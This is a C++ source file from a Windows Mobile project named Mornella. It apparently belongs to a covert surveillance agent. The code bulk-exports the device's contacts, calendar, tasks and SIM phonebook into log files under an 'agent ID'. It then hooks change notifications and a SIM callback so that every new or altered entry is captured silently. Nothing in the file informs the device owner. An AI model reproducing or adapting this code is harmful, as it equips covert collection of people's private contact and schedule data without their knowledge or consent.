Mornella/Mornella_Mobile/PoomMan.cpp
#define INITGUID
#include <windows.h>
#include <winbase.h>
#include <pimstore.h>
#include "PoomMan.h"
#include "PoomSerializer.h"
#include "Log.h"
#include "PoomContact.h"
#include "PoomCalendar.h"
//#include "PoomCalendarReader.h"
#include "PoomTask.h"
// XXX Occhio che le funzioni OLE NON SONO thread safe, quindi questa classe
// non la possiamo richiamare da piu' thread contemporaneamente
CPoomMan* CPoomMan::m_pInstance = NULL;
volatile LONG CPoomMan::lLock = 0;
IPoomFolderReader::IPoomFolderReader(IFolder *pIfolder)
: _pIFolder(pIfolder)
{
}
IPOutlookItemCollection* IPoomFolderReader::getItemCollection()
{
HRESULT hr;
IPOutlookItemCollection* pCollection = NULL;
if (_pIFolder != NULL) {
hr = _pIFolder->get_Items(&pCollection);
if (FAILED(hr))
return NULL;
}
return pCollection;
}
IPoomFolderReader::~IPoomFolderReader()
{
if (_pIFolder != NULL) {
_pIFolder->Release();
_pIFolder = NULL;
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////// PoomMan /////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
CPoomMan* CPoomMan::self()
{
while (InterlockedExchange((LPLONG)&lLock, 1) != 0)
Sleep(1);
if (m_pInstance == NULL)
m_pInstance = new(std::nothrow) CPoomMan();
InterlockedExchange((LPLONG)&lLock, 0);
return m_pInstance;
}
CPoomMan::CPoomMan() : m_pIPoomApp(NULL), m_bIsValid(FALSE), m_bCoUnInitialize(FALSE)
{
HRESULT hr;
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (hr == S_FALSE) {
DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoInitializeEx S_FALSE \n", 5, FALSE);
CoUninitialize();
return;
}
if (FAILED(hr)) {
DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoInitializeEx FAILED \n", 5, FALSE);
return;
}
hr = CoCreateInstance(CLSID_Application,
NULL,
CLSCTX_INPROC_SERVER,
IID_IPOutlookApp,
(LPVOID*) &m_pIPoomApp);
if (FAILED(hr)) {
DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoCreateInstance FAILED \n", 5, FALSE);
CoUninitialize();
return;
}
HWND win = CreateWindow(L"STATIC", L"Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
hr = m_pIPoomApp->Logon((long) win);
if (FAILED(hr)) {
DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan Logon FAILED \n", 5, FALSE);
CoUninitialize();
return;
}
m_bIsValid = TRUE;
m_bCoUnInitialize = TRUE;
}
CPoomMan::~CPoomMan()
{
if (m_hSim != NULL) {
SimDeinitialize(m_hSim);
m_hSim = NULL;
}
if (m_pIPoomApp) {
m_pIPoomApp->Logoff();
m_pIPoomApp->Release();
}
CPoomMan::m_pInstance = NULL;
if (m_bCoUnInitialize)
CoUninitialize();
}
void CPoomMan::_Export()
{
CPoomFolderFactor *factor = new(nothrow) CPoomFolderFactor();
if (factor == NULL)
return;
IFolder *pIFolder = NULL;
#define EXPORT_FOLDER(x) if (SUCCEEDED( m_pIPoomApp->GetDefaultFolder(x, &pIFolder))){ \
IPoomFolderReader *reader = _Export(factor->get(x, pIFolder)); \
if (reader) delete reader; \
pIFolder->Release(); \
pIFolder = NULL; \
}
EXPORT_FOLDER(olFolderCalendar);
EXPORT_FOLDER(olFolderContacts);
EXPORT_FOLDER(olFolderTasks);
// Contatti SIM
IPoomFolderReader* pSIMreader = _Export(factor->get((OlDefaultFolders) olFolderContactsSim, NULL));
if (pSIMreader != NULL)
delete pSIMreader;
delete factor;
}
IPoomFolderReader* CPoomMan::_Export(IPoomFolderReader *reader)
{
HRESULT hr;
UINT uBufLen = 0;
LPBYTE pBuffer = NULL;
if (reader == NULL) {
DBG_TRACE(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) reader == NULL \n", 5, FALSE);
return reader;
}
INT nCount = reader->Count();
DBG_TRACE_INT(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) item count: \n", 5, FALSE, nCount);
if (nCount > 0) {
CPoomSerializer pPoomSerializer;
Log poomLog = Log();
poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
for (INT i = 1; i <= nCount; i++) {
hr = reader->Get(i, &pPoomSerializer, &pBuffer, &uBufLen);
if (S_OK == hr) {
if (pBuffer != NULL) {
poomLog.WriteLog(pBuffer, uBufLen);
SAFE_DELETE(pBuffer);
}
} else {
// empty slot
if (hr != 0x88000345) {
DBG_TRACE_INT(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) Get FAILED hr:", 5, FALSE, hr);
}
}
}
poomLog.CloseLog();
}
return reader;
}
void CPoomMan::_ExportOne(DWORD dwType, LONG lOid)
{
CPoomFolderFactor *factor = new CPoomFolderFactor();
IFolder *pIFolder = NULL;
if (SUCCEEDED(m_pIPoomApp->GetDefaultFolder((int)dwType, &pIFolder))){
IPoomFolderReader *reader = _ExportOne(factor->get((OlDefaultFolders) dwType, pIFolder), lOid);
if (reader)
delete reader;
pIFolder->Release();
pIFolder = NULL;
} else {
DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(DWORD dwType, LONG lOid) error GetDefaultFolder()\n", 5, FALSE);
}
if (factor)
delete factor;
}
IPoomFolderReader* CPoomMan::_ExportOneSIM(IPoomFolderReader *reader, UINT uIndex)
{
UINT uBufLen = 0;
LPBYTE pBuffer = NULL;
if (reader == NULL)
return reader;
CPoomSerializer pPoomSerializer;
if (SUCCEEDED(reader->Get(uIndex, &pPoomSerializer, &pBuffer, &uBufLen))) {
Log poomLog = Log();
if (pBuffer) {
poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
poomLog.WriteLog(pBuffer, uBufLen);
poomLog.CloseLog();
SAFE_DELETE(pBuffer);
}
}
return reader;
}
void CPoomMan::_ExportOneSIM(DWORD dwType, UINT uIndex)
{
CPoomFolderFactor *factor = new(nothrow) CPoomFolderFactor();
if (factor == NULL)
return;
IPoomFolderReader *reader = _ExportOneSIM(factor->get((OlDefaultFolders) olFolderContactsSim, NULL), uIndex);
if (reader)
delete reader;
delete factor;
}
IPoomFolderReader* CPoomMan::_ExportOne(IPoomFolderReader *reader, LONG lOid)
{
if (reader == NULL)
return reader;
UINT uBufLen = 0;
LPBYTE pBuffer = NULL;
CPoomSerializer pPoomSerializer;
if (SUCCEEDED(reader->GetOne(m_pIPoomApp, lOid, &pPoomSerializer, &pBuffer, &uBufLen))) {
Log poomLog = Log();
if (pBuffer) {
poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
poomLog.WriteLog(pBuffer, uBufLen);
delete[] pBuffer;
poomLog.CloseLog();
} else {
DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(IPoomFolderReader *reader, LONG lOid) error pBuffer vuoto\n", 5, FALSE);
}
} else {
DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(IPoomFolderReader *reader, LONG lOid) error GetOne FAILED\n", 5, FALSE);
}
return reader;
}
void CPoomMan::Notifications()
{
MSG msg;
ZeroMemory(&msg, sizeof(MSG));
BOOL bNew = FALSE;
DWORD dwTime = 0;
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
if (msg.message == PIM_ITEM_CREATED_REMOTE ||
msg.message == PIM_ITEM_CHANGED_REMOTE ) {
if (msg.lParam == olFolderCalendar ||
msg.lParam == olFolderContacts ||
msg.lParam == olFolderTasks) {
DBG_TRACE(L"Debug - PoomMan.cpp - Notification New Notification\n", 5, FALSE);
if (msg.lParam == olFolderCalendar) {
if (msg.message == PIM_ITEM_CHANGED_REMOTE) {
if (bNew && msg.time == dwTime)
continue;
DBG_TRACE(L"Debug - PoomMan.cpp - Notification PIM_ITEM_CHANGED_REMOTE NO ITEM\n", 5, FALSE);
bNew = FALSE;
} else {
DBG_TRACE(L"Debug - PoomMan.cpp - Notification PIM_ITEM_CHANGED_REMOTE NEW ITEM\n", 5, FALSE);
dwTime = msg.time;
bNew = TRUE;
}
}
m_pInstance->_ExportOne((DWORD) msg.lParam, (LONG) msg.wParam);
}
}
DispatchMessage(&msg);
}
}
HRESULT CPoomMan::_SubscribeToNotifications(IPOutlookApp *pPoom, OlDefaultFolders olFolder, UINT uiNotificationsType)
{
HRESULT hr = 0;
IFolder *pFolder = NULL;
IItem *pItem = NULL;
CEPROPVAL propval = {0};
hr = pPoom->GetDefaultFolder(olFolder, &pFolder);
if (FAILED(hr)) {
DBG_TRACE(L"CPoomMan - _SubscribeToNotifications FAILED 1", 5, FALSE);
return hr;
}
hr = pFolder->QueryInterface(IID_IItem, (LPVOID*)&pItem);
if (FAILED(hr)) {
DBG_TRACE(L"CPoomMan - _SubscribeToNotifications FAILED 1", 5, FALSE);
pFolder->Release();
return hr;
}
propval.propid = PIMPR_FOLDERNOTIFICATIONS;
propval.val.ulVal = uiNotificationsType;
hr = pItem->SetProps(0, 1, &propval);
pItem->Release();
pFolder->Release();
return hr;
}
void CPoomMan::SimCallBack(DWORD dwNotifyCode, const void* lpData, DWORD dwDataSize, DWORD dwParam)
{
if (lpData == NULL)
return;
if (dwNotifyCode == SIM_NOTIFY_PBE_STORED) { // prendiamo solo le modifiche al phonebook
SIMPBECHANGE* pPBNotify = (SIMPBECHANGE*) lpData;
if (pPBNotify->dwStorage == SIM_PBSTORAGE_SIM) { // prendiamo solo i numeri standard
_ExportOneSIM(103, pPBNotify->dwEntry); // il tipo e' 103 per compatibilita'
// con le POOM (OlDefaultFolders) per eventuali sviluppi futuri
}
}
}
BOOL CPoomMan::_InitializeSIMCallback()
{
HRESULT hr = E_FAIL;
BOOL bRet = FALSE;
hr = SimInitialize(SIM_INIT_SIMCARD_NOTIFICATIONS,
(SIMCALLBACK)SimCallBack,
0,
&m_hSim);
if (hr != S_OK) {
DBG_TRACE(L"CPoomMan - _InitializeSIMCallback FAILED 1", 5, FALSE);
return bRet;
}
return (bRet = TRUE);
}
void CPoomMan::Run(UINT uAgentId)
{
DWORD dwNotify = 1;
BYTE *pBuf = NULL;
UINT uSize = sizeof(DWORD);
if (!IsValid()) {
m_pInstance = self();
}
Log pPOOMMarkup = Log();
if (!pPOOMMarkup.IsMarkup(uAgentId)){
// Export di tutti i dati
m_pInstance->_Export();
pPOOMMarkup.WriteMarkup(uAgentId,(BYTE *)&dwNotify, uSize);
}
pBuf = pPOOMMarkup.ReadMarkup(uAgentId, &uSize);
if (pBuf && uSize == sizeof(DWORD)) {
CopyMemory(&dwNotify, pBuf, uSize);
//SAFE_DELETE(pBuf);
if (dwNotify == 1) {
// Notifiche POOM
_SubscribeToNotifications(m_pIPoomApp, olFolderContacts, PIMFOLDERNOTIFICATION_REMOTE);
_SubscribeToNotifications(m_pIPoomApp, olFolderCalendar, PIMFOLDERNOTIFICATION_REMOTE);
_SubscribeToNotifications(m_pIPoomApp, olFolderTasks, PIMFOLDERNOTIFICATION_REMOTE);
// Notifiche SIM
_InitializeSIMCallback();
// Attesa delle notifiche di modifica o nuovo inserimento
//return;
}
}
SAFE_DELETE(pBuf);
return;
}